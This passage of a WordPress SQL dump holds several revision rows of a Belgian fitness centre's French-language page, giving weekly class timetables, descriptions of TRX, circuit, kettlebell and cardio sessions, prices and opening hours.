5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:40:57', '2013-07-03 17:40:57', '', 11, 'http://www.crosstrainingcenter.be/?p=196', 0, 'revision', '', 0),
(197, 1, '2013-07-03 17:41:14', '2013-07-03 17:41:14', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 43%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:41:14', '2013-07-03 17:41:14', '', 11, 'http://www.crosstrainingcenter.be/?p=197', 0, 'revision', '', 0),
(199, 1, '2013-07-03 17:49:28', '2013-07-03 17:49:28', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nLes séances sont programmées selon le planning ci-dessous.\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 45%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:49:28', '2013-07-03 17:49:28', '', 11, 'http://www.crosstrainingcenter.be/?p=199', 0, 'revision', '', 0);
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(200, 1, '2013-07-03 17:51:17', '2013-07-03 17:51:17', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nLes séances sont programmées selon le planning ci-dessous.\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td 